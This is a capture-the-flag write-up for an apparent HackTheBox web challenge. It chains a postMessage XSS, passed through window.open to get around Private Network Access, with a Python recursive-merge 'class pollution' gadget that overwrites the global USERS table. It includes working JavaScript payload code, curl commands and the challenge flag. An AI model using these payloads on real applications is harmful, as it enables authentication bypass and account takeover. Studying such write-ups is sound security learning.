pwneglyph logo
web web-client web-server python tornado xss postmessage private-network-access pna cors selenium-bot object-traversal getattr-walk globals-overwrite mass-assignment access-control-bypass

report_tornado sends a Selenium bot to an attacker page. PNA blocks direct fetches to 127.0.0.1, so window.open the app and postMessage a tornado whose status field is rendered with innerHTML (XSS in the loopback origin). That XSS POSTs /update_tornado, whose recursive update_tornados() does getattr-walking — {__class__:{__init__:{__globals__:{USERS:[...]}}}} rewrites the module-global USERS so you can log in and GET /stats for the flag.

Tornado Service — postMessage XSS (PNA bypass) → object-walk to overwrite USERS

Platform: HackTheBox · Category: Web (client + server) · Stack: Python Tornado + Selenium/Chrome bot

Challenge overview

/stats returns the flag but needs a valid user cookie. Logins require one of three random-password accounts in the module-global USERS. report_tornado?ip=<host> sends the bot to http://<host>/agent_details. The plan: XSS the bot inside the app's own origin, abuse a mass-assignment-style update_tornado to overwrite USERS, then log in and read /stats.

Step 1 — XSS on the bot, bypassing Private Network Access

The index page renders tornado objects received via postMessage straight into the DOM (innerHTML), so the status field is an XSS sink:

window.addEventListener("message", (event) => {
    const tornado = event.data;
    tornadoList.appendChild(createListItem(tornado));   // status rendered as HTML
});

A direct fetch('http://127.0.0.1:1337/...') from the attacker page is blocked by Private Network Access (public origin → loopback). The bypass: window.open the app (a top-level navigation to 127.0.0.1 is allowed), then postMessage the malicious tornado into it. The injected script now runs in the loopback origin, so its own requests to 127.0.0.1:1337 are same/loopback-origin and PNA-clean:

const win = window.open('http://127.0.0.1:1337/');
setTimeout(() => {
  const payload = `
    fetch('/get_tornados').then(r=>r.json()).then(list=>{
      const mid = list[0].machine_id;
      return fetch('/update_tornado',{method:'POST',body:JSON.stringify({
        machine_id: mid,
        __class__:{__init__:{__globals__:{ USERS:[{username:'rami',password:'malek'}] }}}
      })});
    });`;
  win.postMessage({ machine_id:'x', ip_address:'x',
                    status:`<img src=x onerror=eval(atob('${btoa(payload)}'))>` }, '*');
}, 3000);

Step 2 — the object-walk gadget in update_tornados

/update_tornado only allows updates from localhost (the bot satisfies this), then recursively merges the JSON into the matched tornado:

def update_tornados(tornado, updated):
    for index, value in tornado.items():
        if hasattr(updated, "__getitem__"):
            if updated.get(index) and type(value) == dict: update_tornados(value, updated.get(index))
            else: updated[index] = value
        elif hasattr(updated, index) and type(value) == dict:
            update_tornados(value, getattr(updated, index))   # <-- getattr walk
        else:
            setattr(updated, index, value)

For the TornadoObject, the elif branch does getattr(updated, index) for dict values — so {__class__:{__init__:{__globals__:{USERS:[...]}}}} walks tornado.__class__.__init__.__globals__ (the module globals dict), then assigns globals["USERS"] = [{username:'rami',password:'malek'}]. We've replaced the credentials table.

Step 3 — log in with the planted creds and read /stats

curl -X POST http://target/login -d '{"username":"rami","password":"malek"}'   # -> Set-Cookie user=...
curl http://target/stats -H "Cookie: user=<that cookie>"
# {"success":{"type":"Success","message":"HTB{s1mpl3_stuff_but_w1th_4_tw15t!}"}}

Flag: HTB{s1mpl3_stuff_but_w1th_4_tw15t!}

Takeaways (generalized techniques)

  • PNA bypass via top-level navigation + postMessage: when Private Network Access blocks public→loopback fetches, window.open the internal app (navigation is permitted) and drive it with postMessage into a DOM sink. Your code then executes in the internal origin, so its fetches are no longer cross-private-network.
  • A recursive merge that does getattr/setattr on attacker keys is a Python "prototype pollution". {"__class__":{"__init__":{"__globals__":{...}}}} walks an instance up to its module globals and lets you overwrite arbitrary globals (here USERS). Same gadget reaches __builtins__, function defaults, etc.
  • event.data rendered with innerHTML is XSS via postMessage — no origin check on the listener means any window that can postMessage (after window.open) injects HTML.

Sources & references